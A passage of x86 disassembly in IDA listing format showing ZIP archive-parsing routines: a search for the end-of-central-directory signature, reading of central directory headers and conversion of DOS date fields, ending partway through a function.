		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E61F
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], 0FFFFh
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_8]
		jbe	short loc_42EA76
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax


loc_42EA76:				; CODE XREF: sub_42EA31+3Dj
		push	404h
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42EA94
		xor	eax, eax
		jmp	loc_42EBBE
; ---------------------------------------------------------------------------


loc_42EA94:				; CODE XREF: sub_42EA31+5Aj
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 4


loc_42EAA2:				; CODE XREF: sub_42EA31:loc_42EBA3j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_14]
		jnb	loc_42EBA8
		mov	edx, [ebp+var_C]
		add	edx, 400h
		cmp	edx, [ebp+var_14]
		jbe	short loc_42EAC4
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		jmp	short loc_42EAD0
; ---------------------------------------------------------------------------


loc_42EAC4:				; CODE XREF: sub_42EA31+89j
		mov	ecx, [ebp+var_C]
		add	ecx, 400h
		mov	[ebp+var_C], ecx


loc_42EAD0:				; CODE XREF: sub_42EA31+91j
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_20]
		cmp	eax, 404h
		jbe	short loc_42EAEF
		mov	[ebp+var_24], 404h
		jmp	short loc_42EAF8
; ---------------------------------------------------------------------------


loc_42EAEF:				; CODE XREF: sub_42EA31+B3j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_20]
		mov	[ebp+var_24], ecx


loc_42EAF8:				; CODE XREF: sub_42EA31+BCj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		push	0
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EB19
		jmp	loc_42EBA8
; ---------------------------------------------------------------------------


loc_42EB19:				; CODE XREF: sub_42EA31+E1j
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42EB36
		jmp	short loc_42EBA8
; ---------------------------------------------------------------------------


loc_42EB36:				; CODE XREF: sub_42EA31+101j
		mov	edx, [ebp+var_18]
		sub	edx, 3
		mov	[ebp+var_1C], edx


loc_42EB3F:				; CODE XREF: sub_42EA31:loc_42EB99j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jle	short loc_42EB9B
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 50h
		jnz	short loc_42EB99
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_1C]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	edx, 4Bh
		jnz	short loc_42EB99
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+2]
		cmp	ecx, 5
		jnz	short loc_42EB99
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_1C]
		xor	eax, eax
		mov	al, [edx+3]
		cmp	eax, 6
		jnz	short loc_42EB99
		mov	ecx, [ebp+var_20]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		jmp	short loc_42EB9B
; ---------------------------------------------------------------------------


loc_42EB99:				; CODE XREF: sub_42EA31+12Bj
					; sub_42EA31+13Bj ...
		jmp	short loc_42EB3F
; ---------------------------------------------------------------------------


loc_42EB9B:				; CODE XREF: sub_42EA31+11Cj
					; sub_42EA31+166j
		cmp	[ebp+var_10], 0
		jz	short loc_42EBA3
		jmp	short loc_42EBA8
; ---------------------------------------------------------------------------


loc_42EBA3:				; CODE XREF: sub_42EA31+16Ej
		jmp	loc_42EAA2
; ---------------------------------------------------------------------------


loc_42EBA8:				; CODE XREF: sub_42EA31+77j
					; sub_42EA31+E3j ...
		cmp	[ebp+var_4], 0
		jz	short loc_42EBBB
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4331D4	; free
		add	esp, 4


loc_42EBBB:				; CODE XREF: sub_42EA31+17Bj
		mov	eax, [ebp+var_10]


loc_42EBBE:				; CODE XREF: sub_42EA31+1Cj
					; sub_42EA31+5Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_42EA31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EBC2	proc near		; CODE XREF: sub_42FFCE+99p

var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_90		= dword	ptr -90h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_42EBDA
		xor	eax, eax
		jmp	loc_42EDD2
; ---------------------------------------------------------------------------


loc_42EBDA:				; CODE XREF: sub_42EBC2+Fj
		movsx	eax, byte_434AB4
		cmp	eax, 20h
		jz	short loc_42EBF9
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E5BB
		add	esp, 4
		xor	eax, eax
		jmp	loc_42EDD2
; ---------------------------------------------------------------------------


loc_42EBF9:				; CODE XREF: sub_42EBC2+22j
		mov	[ebp+var_8], 0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42EA31
		add	esp, 4
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_42EC1C
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EC1C:				; CODE XREF: sub_42EBC2+51j
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EC39
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EC39:				; CODE XREF: sub_42EBC2+6Ej
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42EC54
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EC54:				; CODE XREF: sub_42EBC2+89j
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EC6F
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EC6F:				; CODE XREF: sub_42EBC2+A4j
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EC8A
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42EC8A:				; CODE XREF: sub_42EBC2+BFj
		lea	edx, [ebp+var_98]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42ECA8
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ECA8:				; CODE XREF: sub_42EBC2+DDj
		lea	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42ECC3
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ECC3:				; CODE XREF: sub_42EBC2+F8j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_98]
		jnz	short loc_42ECDA
		cmp	[ebp+var_18], 0
		jnz	short loc_42ECDA
		cmp	[ebp+var_4], 0
		jz	short loc_42ECE1


loc_42ECDA:				; CODE XREF: sub_42EBC2+10Aj
					; sub_42EBC2+110j
		mov	[ebp+var_8], 0FFFFFF99h


loc_42ECE1:				; CODE XREF: sub_42EBC2+116j
		lea	ecx, [ebp+var_7C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42ECFC
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ECFC:				; CODE XREF: sub_42EBC2+131j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42ED17
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ED17:				; CODE XREF: sub_42EBC2+14Cj
		lea	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42ED35
		mov	[ebp+var_8], 0FFFFFFFFh


loc_42ED35:				; CODE XREF: sub_42EBC2+16Aj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, [ecx+0Ch]
		mov	eax, [ebp+var_78]
		add	eax, [ebp+var_7C]
		cmp	edx, eax
		jnb	short loc_42ED55
		cmp	[ebp+var_8], 0
		jnz	short loc_42ED55
		mov	[ebp+var_8], 0FFFFFF99h


loc_42ED55:				; CODE XREF: sub_42EBC2+184j
					; sub_42EBC2+18Aj
		cmp	[ebp+var_8], 0
		jz	short loc_42ED6B
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E5BB
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42EDD2
; ---------------------------------------------------------------------------


loc_42ED6B:				; CODE XREF: sub_42EBC2+197j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_9C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		add	ecx, [eax+0Ch]
		mov	edx, [ebp+var_78]
		add	edx, [ebp+var_7C]
		sub	ecx, edx
		mov	[ebp+var_90], ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_80], eax
		mov	[ebp+var_20], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+0Ch], 0
		push	80h
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	ecx, 20h
		lea	esi, [ebp+var_9C]
		mov	edi, [ebp+var_C]
		rep movsd
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_42F313
		add	esp, 4
		mov	eax, [ebp+var_C]


loc_42EDD2:				; CODE XREF: sub_42EBC2+13j
					; sub_42EBC2+32j ...
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42EBC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EDD8	proc near		; CODE XREF: sub_430DF8+36p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42EDE9
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42EE27
; ---------------------------------------------------------------------------


loc_42EDE9:				; CODE XREF: sub_42EDD8+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+7Ch], 0
		jz	short loc_42EE04
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42FDD7
		add	esp, 4


loc_42EE04:				; CODE XREF: sub_42EDD8+1Ej
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E5BB
		add	esp, 4
		cmp	[ebp+var_4], 0
		jz	short loc_42EE25
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4331D4	; free
		add	esp, 4


loc_42EE25:				; CODE XREF: sub_42EDD8+3Ej
		xor	eax, eax


loc_42EE27:				; CODE XREF: sub_42EDD8+Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42EDD8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42EE3C
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42EE55
; ---------------------------------------------------------------------------


loc_42EE3C:				; CODE XREF: HLXc:0042EE33j
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [ecx+8]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], edx
		mov	[ecx+4], eax
		xor	eax, eax


loc_42EE55:				; CODE XREF: HLXc:0042EE3Aj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EE59	proc near		; CODE XREF: sub_42EED2+122p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		and	ecx, 1Fh
		mov	edx, [ebp+arg_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		and	eax, 1E0h
		shr	eax, 5
		sub	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		and	edx, 0FE00h
		shr	edx, 9
		add	edx, 7BCh
		mov	eax, [ebp+arg_4]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		and	ecx, 0F800h
		shr	ecx, 0Bh
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		and	eax, 7E0h
		shr	eax, 5
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		shl	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EE59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EED2	proc near		; CODE XREF: sub_42F2E4+25p
					; sub_42F313+4Dp ...

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= byte ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_42EEF8
		mov	eax, 0FFFFFF9Ah
		jmp	loc_42F2DE
; ---------------------------------------------------------------------------


loc_42EEF8:				; CODE XREF: sub_42EED2+1Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		push	0
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+14h]
		mov	eax, [ebp+var_10]
		add	edx, [eax+0Ch]
		push	edx
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EF26
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42EF26:				; CODE XREF: sub_42EED2+4Bj
		cmp	[ebp+var_C], 0
		jnz	short loc_42EF5B
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF4B
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_42EF5B
; ---------------------------------------------------------------------------


loc_42EF4B:				; CODE XREF: sub_42EED2+6Ej
		cmp	[ebp+var_14], 2014B50h
		jz	short loc_42EF5B
		mov	[ebp+var_C], 0FFFFFF99h


loc_42EF5B:				; CODE XREF: sub_42EED2+58j
					; sub_42EED2+77j ...
		lea	eax, [ebp+var_64]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF78
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42EF78:				; CODE XREF: sub_42EED2+9Dj
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF95
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42EF95:				; CODE XREF: sub_42EED2+BAj
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EFB2
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42EFB2:				; CODE XREF: sub_42EED2+D7j
		lea	eax, [ebp+var_58]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42EFCF
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42EFCF:				; CODE XREF: sub_42EED2+F4j
		lea	eax, [ebp+var_54]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42EFEC
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42EFEC:				; CODE XREF: sub_42EED2+111j
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_54]
		push	ecx
		call	sub_42EE59
		add	esp, 8
		lea	edx, [ebp+var_50]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F019
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F019:				; CODE XREF: sub_42EED2+13Ej
		lea	edx, [ebp+var_4C]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F036
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F036:				; CODE XREF: sub_42EED2+15Bj
		lea	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F053
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F053:				; CODE XREF: sub_42EED2+178j
		lea	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F070
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F070:				; CODE XREF: sub_42EED2+195j
		lea	edx, [ebp+var_40]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F08D
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F08D:				; CODE XREF: sub_42EED2+1B2j
		lea	edx, [ebp+var_3C]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F0AA
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F0AA:				; CODE XREF: sub_42EED2+1CFj
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F0C7
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F0C7:				; CODE XREF: sub_42EED2+1ECj
		lea	edx, [ebp+var_34]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E83E
		add	esp, 8
		test	eax, eax
		jz	short loc_42F0E4
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F0E4:				; CODE XREF: sub_42EED2+209j
		lea	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F101
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F101:				; CODE XREF: sub_42EED2+226j
		lea	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E8A4
		add	esp, 8
		test	eax, eax
		jz	short loc_42F11E
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F11E:				; CODE XREF: sub_42EED2+243j
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_44]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_42F18B
		cmp	[ebp+arg_C], 0
		jz	short loc_42F18B
		mov	eax, [ebp+var_44]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_42F14C
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_44]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+var_44]
		mov	[ebp+var_68], edx
		jmp	short loc_42F152
; ---------------------------------------------------------------------------


loc_42F14C:				; CODE XREF: sub_42EED2+267j
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_68], eax


loc_42F152:				; CODE XREF: sub_42EED2+278j
		cmp	[ebp+var_44], 0
		jbe	short loc_42F182
		cmp	[ebp+arg_10], 0
		jbe	short loc_42F182
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		push	1
		mov	eax, [ebp+var_68]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42F182
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F182:				; CODE XREF: sub_42EED2+284j
					; sub_42EED2+28Aj ...
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_68]
		mov	[ebp+var_4], edx


loc_42F18B:				; CODE XREF: sub_42EED2+259j
					; sub_42EED2+25Fj
		cmp	[ebp+var_C], 0
		jnz	loc_42F223
		cmp	[ebp+arg_14], 0
		jz	loc_42F223
		mov	eax, [ebp+var_40]
		cmp	eax, [ebp+arg_18]
		jnb	short loc_42F1AF
		mov	ecx, [ebp+var_40]
		mov	[ebp+var_6C], ecx
		jmp	short loc_42F1B5
; ---------------------------------------------------------------------------


loc_42F1AF:				; CODE XREF: sub_42EED2+2D3j
		mov	edx, [ebp+arg_18]
		mov	[ebp+var_6C], edx


loc_42F1B5:				; CODE XREF: sub_42EED2+2DBj
		cmp	[ebp+var_4], 0
		jz	short loc_42F1E3
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		push	edx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F1DC
		mov	[ebp+var_4], 0
		jmp	short loc_42F1E3
; ---------------------------------------------------------------------------


loc_42F1DC:				; CODE XREF: sub_42EED2+2FFj
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F1E3:				; CODE XREF: sub_42EED2+2E7j
					; sub_42EED2+308j
		cmp	[ebp+var_40], 0
		jbe	short loc_42F213
		cmp	[ebp+arg_18], 0
		jbe	short loc_42F213
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		push	1
		mov	edx, [ebp+var_6C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42F213
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F213:				; CODE XREF: sub_42EED2+315j
					; sub_42EED2+31Bj ...
		mov	ecx, [ebp+var_40]
		sub	ecx, [ebp+var_6C]
		mov	edx, [ebp+var_4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		jmp	short loc_42F22C
; ---------------------------------------------------------------------------


loc_42F223:				; CODE XREF: sub_42EED2+2BDj
					; sub_42EED2+2C7j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_40]
		mov	[ebp+var_4], eax


loc_42F22C:				; CODE XREF: sub_42EED2+34Fj
		cmp	[ebp+var_C], 0
		jnz	short loc_42F2AE
		cmp	[ebp+arg_1C], 0
		jz	short loc_42F2AE
		mov	ecx, [ebp+var_3C]
		cmp	ecx, [ebp+arg_20]
		jnb	short loc_42F251
		mov	edx, [ebp+arg_1C]
		add	edx, [ebp+var_3C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_70], eax
		jmp	short loc_42F257
; ---------------------------------------------------------------------------


loc_42F251:				; CODE XREF: sub_42EED2+36Cj
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_70], ecx


loc_42F257:				; CODE XREF: sub_42EED2+37Dj
		cmp	[ebp+var_4], 0
		jz	short loc_42F27E
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E66B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F277
		jmp	short loc_42F27E
; ---------------------------------------------------------------------------


loc_42F277:				; CODE XREF: sub_42EED2+3A1j
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F27E:				; CODE XREF: sub_42EED2+389j
					; sub_42EED2+3A3j
		cmp	[ebp+var_3C], 0
		jbe	short loc_42F2AE
		cmp	[ebp+arg_20], 0
		jbe	short loc_42F2AE
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		push	eax
		push	1
		mov	ecx, [ebp+var_70]
		push	ecx
		mov	edx, [ebp+arg_1C]
		push	edx
		call	sub_42E740
		add	esp, 10h
		cmp	eax, 1
		jz	short loc_42F2AE
		mov	[ebp+var_C], 0FFFFFFFFh


loc_42F2AE:				; CODE XREF: sub_42EED2+35Ej
					; sub_42EED2+364j ...
		cmp	[ebp+var_C], 0
		jnz	short loc_42F2C7
		cmp	[ebp+arg_4], 0
		jz	short loc_42F2C7
		mov	ecx, 14h
		lea	esi, [ebp+var_64]
		mov	edi, [ebp+arg_4]
		rep movsd


loc_42F2C7:				; CODE XREF: sub_42EED2+3E0j
					; sub_42EED2+3E6j
		cmp	[ebp+var_C], 0
		jnz	short loc_42F2DB
		cmp	[ebp+arg_8], 0
		jz	short loc_42F2DB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_42F2DB:				; CODE XREF: sub_42EED2+3F9j
					; sub_42EED2+3FFj
		mov	eax, [ebp+var_C]


loc_42F2DE:				; CODE XREF: sub_42EED2+21j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42EED2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F2E4	proc near		; CODE XREF: sub_42F43A+BBp
					; sub_43007C+194p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42EED2
		add	esp, 24h
		pop	ebp
		retn
sub_42F2E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F313	proc near		; CODE XREF: sub_42EBC2+205p
					; sub_42F43A+8Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42F326
		mov	eax, 0FFFFFF9Ah
		jmp	short loc_42F37D
; ---------------------------------------------------------------------------


loc_42F326:				; CODE XREF: sub_42F313+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+24h]
		mov	[ecx+14h], eax
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+10h], 0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_8]
